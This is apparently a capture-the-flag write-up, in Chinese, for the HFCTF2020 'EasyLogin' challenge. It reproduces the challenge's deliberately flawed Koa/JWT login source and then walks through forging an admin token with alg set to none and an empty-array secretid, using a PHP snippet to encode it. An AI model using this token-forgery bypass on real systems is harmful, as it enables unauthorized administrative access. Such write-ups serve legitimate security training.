[HFCTF2020]EasyLogin

[HFCTF2020]EasyLogin

使用dirmap对网站目录进行扫描，扫描出app.js

访问app.js,使用了koa框架

访问/controllers/api.js,得到源码

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');//注册用户不能为admin
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});//采用jwt，可进行绕过

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');//admin用户才可以getflag
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

在登录页面进行抓包，对jwt令牌进行解密，解密地址：https://jwt.io/

对jwt令牌进行绕过，修改username为admin，secretid设置为空数组或者小数，alg设置为none，将得到的字符串拼接（中间用“.”拼接）

<?php
$a = ‘{"alg":"none","typ":"JWT"}‘;
$b = ‘{"secretid":[],"username":"admin","password":"123456","iat":1625206548}‘;
echo base64_encode($a);
echo "\n";
echo base64_encode($b);
?>

修改登录包

最后得到flag